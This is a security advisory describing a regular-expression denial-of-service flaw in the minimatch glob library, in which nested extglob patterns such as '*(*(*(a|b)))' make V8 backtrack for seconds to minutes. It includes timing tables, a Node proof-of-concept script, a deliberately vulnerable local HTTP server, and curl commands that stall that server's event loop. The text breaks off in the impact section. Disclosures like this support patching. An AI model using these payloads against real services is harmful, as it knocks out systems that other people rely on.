Description

minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions ### Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. --- ### Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | *(a\|b) | /^(?:a\|b)*$/ | | *(*(a\|b)) | /^(?:(?:a\|b)*)*$/ | | *(*(*(a\|b))) | /^(?:(?:(?:a\|b)*)*)*$/ | | *(*(*(*(a\|b)))) | /^(?:(?:(?:(?:a\|b)*)*)*)*$/ | These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): | Pattern | Input | Time | |----------------------|--------------------|------------| | *(*(a\|b)) | a x30 + z | ~68,000ms | | *(*(*(a\|b))) | a x20 + z | ~124,000ms | | *(*(*(*(a\|b)))) | a x25 + z | ~116,000ms | | *(a\|a) | a x25 + z | ~2,000ms | Depth inflection at fixed input a x16 + z: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | *(a\|b) | 0ms | | 2 | *(*(a\|b)) | 4ms | | 3 | *(*(*(a\|b))) | 270ms | | 4 | *(*(*(*(a\|b)))) | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC Tested on [email protected], Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob

Mitigation

Aliases

References